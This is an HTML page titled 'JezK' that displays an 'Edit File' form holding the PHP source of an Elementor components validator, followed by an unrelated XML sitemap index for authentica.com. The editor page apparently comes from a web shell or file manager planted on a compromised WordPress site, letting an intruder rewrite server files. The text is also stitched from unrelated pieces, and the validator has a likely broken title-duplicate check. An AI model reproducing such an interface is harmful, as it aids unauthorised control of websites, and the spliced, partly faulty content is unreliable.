
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: save-components-validator.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Elementor\Modules\Components;

use Elementor\Core\Utils\Collection;
use Elementor\Modules\Components\Documents\Component;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Save_Components_Validator {
	private Collection $components;

	public function __construct( Collection $components ) {
		$this-&gt;components = $components;
	}

	public static function make( Collection $components ) {
		return new static( $components );
	}

	public function validate( Collection $data ) {
		$errors = Collection::make( [
			$this-&gt;validate_count( $data ),
			$this-&gt;validate_duplicated_values( $data ),
		] )-&gt;flatten();

		if ( $errors-&gt;is_empty() ) {
			return [
				'success' =&gt; true,
				'messages' =&gt; [],
			];
		}

		return [
			'success' =&gt; false,
			'messages' =&gt; $errors-&gt;values(),
		];
	}

	private function validate_count( Collection $data ): array {
		$non_archived_components = $this-&gt;components-&gt;filter( fn ( $component ) =&gt; ! $component['is_archived'] );
		$count = $non_archived_components-&gt;count() + $data-&gt;count();

		if ( $count &gt; Components_REST_API::MAX_COMPONENTS ) {
			return [ esc_html__( 'Maximum number of components exceeded.', 'elementor' ) ];
		}

		return [];
	}

	private function validate_duplicated_values( Collection $data ): array {
		return $data
			-&gt;map( function ( $component ) use ( $data ) {
				$errors = [];

				$title = $component['title'];
				$uid = $component['uid'];

				$is_title_exists = $this-&gt;components-&gt;some(
					fn ( $component ) =&gt; ! $component['is_archived'] &amp;&amp; $component['title'] === $title
				) || $data-&gt;filter(
					fn ( $component ) =&gt; ! $component['title'] === $title
				)-&gt;count() &gt; 1;

				if ( $is_title_exists ) {
					$errors[] = [
						sprintf(
							// translators: %s Component title.
							esc_html__( &quot;Component title '%s' is duplicated.&quot;, 'elementor' ),
							$title
						),
					];
				}

				$is_uid_exists = $this-&gt;components-&gt;some(
					fn ( $component ) =&gt; $component['uid'] === $uid
				) || $data-&gt;filter(
					fn ( $component ) =&gt; $component['uid'] === $uid
				)-&gt;count() &gt; 1;

				if ( $is_uid_exists ) {
					$errors[] = [
						sprintf(
							// translators: %s Component uid.
							esc_html__( &quot;Component uid '%s' is duplicated.&quot;, 'elementor' ),
							$uid
						),
					];
				}

				return $errors;
			} )
			-&gt;flatten()
			-&gt;flatten()
			-&gt;unique()
			-&gt;values();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->